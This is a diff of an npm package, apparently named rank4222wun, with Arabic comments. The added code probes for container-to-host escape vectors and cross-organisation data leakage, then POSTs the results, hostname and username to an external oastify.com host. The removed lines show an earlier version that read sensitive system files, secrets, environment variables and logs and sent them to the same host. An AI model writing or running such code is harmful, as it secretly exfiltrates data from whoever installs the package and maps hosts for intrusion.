+
|
|
351
|
+
// تسجيل كل نواقل الهروب
|
|
352
|
+
criticalTests.tests.containerToHostEscape.escapeVectors = escapeVectors;
|
|
353
|
+
|
|
354
|
+
// تقييم عام لإمكانية الهروب
|
|
355
|
+
const canEscape = escapeVectors.some(v =>
|
|
356
|
+
v.risk === 'CRITICAL' || v.risk === 'HIGH' ||
|
|
357
|
+
v.vector === 'docker_socket' || v.vector === 'privileged_container'
|
|
358
|
+
);
|
|
359
|
+
|
|
360
|
+
criticalTests.tests.containerToHostEscape.canEscape = canEscape;
|
|
361
|
+
|
|
362
|
+
// الانتهاء من جميع الاختبارات
|
|
363
|
+
finishCriticalTests();
|
|
364
|
+
});
|
|
365
|
+
});
|
|
366
|
+
});
|
|
343
367
|
}
|
|
344
368
|
|
|
345
|
-
//
|
|
346
|
-
function
|
|
347
|
-
console.log("\n" + "=".repeat(
|
|
348
|
-
console.log("
|
|
349
|
-
console.log("=".repeat(
|
|
369
|
+
// ===================== إرسال النتائج =====================
|
|
370
|
+
function finishCriticalTests() {
|
|
371
|
+
console.log("\n" + "=".repeat(70));
|
|
372
|
+
console.log("📊 نتائج الاختبارات الحرجة:");
|
|
373
|
+
console.log("=".repeat(70));
|
|
374
|
+
|
|
375
|
+
// تحليل النتائج
|
|
376
|
+
const analysis = {
|
|
377
|
+
// TEST 1: هل يمكن تسريب بيانات مستخدمين آخرين؟
|
|
378
|
+
dataLeakage: criticalTests.tests.crossOrgDataLeakage.evidence.length > 0 ?
|
|
379
|
+
'POSSIBLE - Found potential shared data locations' :
|
|
380
|
+
'NO EVIDENCE FOUND',
|
|
381
|
+
|
|
382
|
+
// TEST 2: هل يمكن تشغيل أوامر على مستخدمين آخرين؟
|
|
383
|
+
commandExecution: criticalTests.tests.crossOrgCommandExecution.evidence.length > 0 ?
|
|
384
|
+
'POSSIBLE - Can access shared services/APIs' :
|
|
385
|
+
'NO EVIDENCE FOUND',
|
|
386
|
+
|
|
387
|
+
// TEST 3: هل يمكن تنفيذ DoS يؤثر على الجميع؟
|
|
388
|
+
dosImpact: criticalTests.tests.crossOrgDoS.evidence.length > 0 ?
|
|
389
|
+
'POSSIBLE - No resource limits detected' :
|
|
390
|
+
'LIMITED - Has some resource limits',
|
|
391
|
+
|
|
392
|
+
// TEST 4: هل يمكن الهروب من الحاوية للمضيف؟
|
|
393
|
+
containerEscape: criticalTests.tests.containerToHostEscape.canEscape ?
|
|
394
|
+
'CRITICAL - Multiple escape vectors found' :
|
|
395
|
+
(criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0 ?
|
|
396
|
+
'POTENTIAL - Some escape vectors exist' :
|
|
397
|
+
'NO EVIDENCE FOUND')
|
|
398
|
+
};
|
|
399
|
+
|
|
400
|
+
console.log("\n📋 تحليل النقاط الأربع المطلوبة:");
|
|
401
|
+
console.log("1. تسريب بيانات مستخدمين عبر المؤسسة:", analysis.dataLeakage);
|
|
402
|
+
console.log("2. تشغيل أوامر على مستخدمين عبر المؤسسة:", analysis.commandExecution);
|
|
403
|
+
console.log("3. تنفيذ DoS يؤثر على الجميع:", analysis.dosImpact);
|
|
404
|
+
console.log("4. الهروب من الحاوية للمضيف:", analysis.containerEscape);
|
|
405
|
+
|
|
406
|
+
console.log("\n🔍 الأدلة التفصيلية:");
|
|
407
|
+
|
|
408
|
+
if (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0) {
|
|
409
|
+
console.log("\nنواقل الهروب المحتملة:");
|
|
410
|
+
criticalTests.tests.containerToHostEscape.escapeVectors.forEach((v, i) => {
|
|
411
|
+
console.log(` ${i+1}. ${v.vector} - ${v.risk} risk`);
|
|
412
|
+
if (v.permissions) console.log(` → ${v.permissions}`);
|
|
413
|
+
});
|
|
414
|
+
}
|
|
350
415
|
|
|
416
|
+
// إرسال النتائج
|
|
351
417
|
const req = https.request({
|
|
352
418
|
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
353
419
|
port: 443,
|
|
354
|
-
path: '/
|
|
420
|
+
path: '/critical-evidence',
|
|
355
421
|
method: 'POST',
|
|
356
422
|
headers: {
|
|
357
423
|
'Content-Type': 'application/json',
|
|
358
|
-
'X-
|
|
359
|
-
'X-Host': os.hostname()
|
|
360
|
-
'X-User': os.userInfo().username
|
|
424
|
+
'X-Critical-Tests': 'Cross-Org-Four-Points',
|
|
425
|
+
'X-Host': os.hostname()
|
|
361
426
|
}
|
|
362
427
|
}, (res) => {
|
|
363
|
-
console.log(
|
|
364
|
-
printSummary();
|
|
428
|
+
console.log(`\n✅ تم إرسال الأدلة الحرجة. حالة الرد: ${res.statusCode}`);
|
|
365
429
|
});
|
|
366
430
|
|
|
367
431
|
req.on('error', (e) => {
|
|
368
432
|
console.error(`❌ خطأ في الإرسال: ${e.message}`);
|
|
369
|
-
printSummary();
|
|
370
433
|
});
|
|
371
434
|
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
|
|
379
|
-
|
|
380
|
-
|
|
381
|
-
|
|
382
|
-
|
|
383
|
-
const userFiles = Object.keys(collectedData.sensitiveData.userFiles).length;
|
|
384
|
-
const configFiles = Object.keys(collectedData.sensitiveData.configFiles).length;
|
|
385
|
-
const logs = Object.keys(collectedData.sensitiveData.logs).length;
|
|
386
|
-
const secrets = collectedData.sensitiveData.foundSecrets.length;
|
|
387
|
-
|
|
388
|
-
console.log(`📄 ملفات نظام: ${sysFiles} ملف`);
|
|
389
|
-
console.log(`👤 ملفات مستخدم: ${userFiles} ملف/مجلد`);
|
|
390
|
-
console.log(`⚙️ ملفات تكوين: ${configFiles} ملف`);
|
|
391
|
-
console.log(`📋 سجلات نظام: ${logs} سجل`);
|
|
392
|
-
console.log(`🔐 أسرار وجدت: ${secrets} سر`);
|
|
435
|
+
// إضافة التحليل للنتائج
|
|
436
|
+
criticalTests.analysis = analysis;
|
|
437
|
+
criticalTests.summary = {
|
|
438
|
+
user: os.userInfo().username,
|
|
439
|
+
hostname: os.hostname(),
|
|
440
|
+
platform: os.platform(),
|
|
441
|
+
isContainer: criticalTests.tests.containerToHostEscape.escapeVectors?.some(v => v.vector === 'containerized'),
|
|
442
|
+
hasCriticalFindings: analysis.containerEscape.includes('CRITICAL') ||
|
|
443
|
+
analysis.dataLeakage.includes('POSSIBLE') ||
|
|
444
|
+
analysis.commandExecution.includes('POSSIBLE')
|
|
445
|
+
};
|
|
393
446
|
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
collectedData.sensitiveData.foundSecrets.forEach((secret, i) => {
|
|
397
|
-
console.log(` ${i + 1}. ${secret.type} في ${secret.file}`);
|
|
398
|
-
console.log(` → ${secret.pattern}`);
|
|
399
|
-
});
|
|
400
|
-
}
|
|
447
|
+
req.write(JSON.stringify(criticalTests, null, 2));
|
|
448
|
+
req.end();
|
|
401
449
|
|
|
402
|
-
console.log("\n📤 تم إرسال
|
|
403
|
-
console.log("
|
|
404
|
-
console.log("=".repeat(60));
|
|
450
|
+
console.log("\n📤 تم إرسال النتائج الكاملة إلى السيرفر");
|
|
451
|
+
console.log("=".repeat(70));
|
|
405
452
|
}
|
|
406
453
|
|
|
407
|
-
//
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
// حسب النظام
|
|
411
|
-
if (os.platform() === 'linux') {
|
|
412
|
-
readLinuxSensitiveFiles();
|
|
413
|
-
} else if (os.platform() === 'win32') {
|
|
414
|
-
readWindowsSensitiveFiles();
|
|
415
|
-
}
|
|
416
|
-
|
|
417
|
-
// عمليات مشتركة
|
|
418
|
-
readSystemLogs();
|
|
419
|
-
collectSensitiveEnvVars();
|
|
420
|
-
findUiPathFiles();
|
|
421
|
-
|
|
422
|
-
// إرسال البيانات بعد 2 ثانية
|
|
423
|
-
setTimeout(sendCollectedData, 2000);
|
|
454
|
+
// بدء الاختبارات
|
|
455
|
+
testCrossOrgDataLeakage();
|
|
Binary file
|
package/rank4222wun-1.0.18.tgz
DELETED
|
Binary file
|